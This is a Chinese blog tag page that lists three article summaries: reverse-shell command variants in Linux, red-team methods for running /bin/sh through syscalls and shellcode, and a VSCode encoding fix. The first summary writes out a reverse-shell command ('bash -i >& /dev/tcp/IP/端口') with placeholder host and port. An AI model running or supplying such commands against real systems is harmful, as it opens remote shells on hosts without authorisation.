// TAG
#c语言
3 篇
Linux反弹Shell场景中bash -c与直接bash -i的适用差异解析
反弹Shell命令中直接使用bash -i >& /dev/tcp/IP/端口与嵌套bash -c "bash -i >& /dev/tcp/IP/端口"的区别源于执行环境的差异。前者要求当前环境为纯净的bash且无干扰,后者通过外层bash -c创建独立上下文,解决非bash环境或环境污染问题。由于两种方式分别针对"环境干净"和"环境受限"的互斥场景,故几乎不会同时适用,本质是bash进程上下文隔离特性的体现。
阅读 →
红队渗透绕过 C 标准库限制执行系统命令:系统调用、Shellcode 和裸机二进制
本文探讨了在禁用C标准库的受限环境(如CTF竞赛)下,如何在Linux x86-64系统中执行/bin/sh的两种方法。第一种通过手写C程序直接进行系统调用,使用内联汇编实现execve系统调用;第二种采用16字节的shellcode注入技术,利用栈可执行特性。文中详细解析了两种方法的实现原理、代码示例和编译参数,并讨论了常见问题(如/bin/sh缺失)的解决方案。这些技术适用于需要绕过标准库限制、直接与操作系统交互的特殊场景。
阅读 →
Windows解决 VSCode 中 C/C++ 编码乱码问题的两种方法
以上两种方法分别适用于不同的场景。如果您经常在 VSCode 中使用 Code Runner 运行代码,推荐方法一;如果习惯直接使用 PowerShell 终端,推荐方法二。根据您的实际需求选择合适的配置,便可以有效避免 C/C++ 程序的编码问题。
阅读 →